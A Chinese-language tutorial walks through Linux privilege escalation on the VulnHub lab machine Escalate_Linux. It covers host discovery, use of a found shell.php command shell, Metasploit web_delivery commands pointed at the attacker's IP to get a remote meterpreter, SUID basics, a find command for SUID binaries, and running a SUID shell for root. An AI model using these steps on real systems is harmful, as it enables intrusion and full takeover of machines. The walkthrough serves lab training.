Linux常用提权练习与总结

环境配置

本文以escalate靶机为例学习linux的提权方式

靶机下载地址:Escalate_Linux: 1 ~ VulnHub

文件格式为.ova

导入到vmware,将网络适配器设置为net模式当然kali也需设置为net模式 让它们处于同一网段即可

通过kali的arp-scan -l命令找出同网段ip

1
arp-scan -l

这个为目标机 为什么确定它就是目标机就不解释了 不懂就是基础没学好

然后ping一下目标机

1
2
目标机 192.168.154.133
攻击机 192.168.154.128

进行nmap 扫描192.168.154.133所存在的端口也可以使用别的扫描端口的工具

访问http服务端口

是默认的apache页面 进行端口扫描

扫描出了shell.php进行访问

它说将cmd作为获取参数 就是cmd可以执行命令

看来确实可以执行命令,既然这样我们传递一个shell上去 打开msf,然后使用multi/script/web_delivery模块来生成

1
2
3
4
5
6
use exploit/multi/script/web_delivery
options
set SRVHOST 攻击机ip
set LHOST 攻击机ip
set LPORT 4444
run

复制上面红框的内容让后将其url编码建议使用burp的编码

复制箭头所指的编码

回车,可以拿到远程的meterpreter

SUID提权

什么是SUID?
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限
当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?
1、SUID权限仅对二进制程序(binary program)有效;
2、执行者对于该程序需要具有x的可执行权限;
3、本权限仅在执行该程序的过程中有效(run-time);
4、执行者将具有该程序拥有者(owner)的权限。

SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。

passwd就是一个很鲜明的例子,下面我们就来了解一下这相passwd执行的过程。
1、因为/usr/bin/passwd的权限对任何的用户都是可以执行的,所以系统中每个用户都可以执行此命令。
2、而/usr/bin/passwd这个文件的权限是属于root的。
3、当某个用户执行/usr/bin/passwd命令的时候,就拥有了root的权限了。
4、于是某个用户就可以借助root用户的权力,来修改了/etc/shadow文件了。
5、最后,把密码修改成功。
注:这个SUID只能运行在二进制的程序上(系统中的一些命令),不能用在脚本上(script),因为脚本还是把很多的程序集合到一起来执行,而不是脚本自身在执行。同样,这个SUID也不能放到目录上,放上也是无效的。

在获取到meterpreter后,输入shell进入到shell环境 然后输入下面的命令查找拥有suid权限的文件

1
find / -user root -perm -4000 -type f 2>/dev/null

发现存在一个user3的用户的shell文件

1
2
cd /home/user3
./shell

常用的SUID提权命令有nmap,vim,find,bash,more,less,nano以及cp等等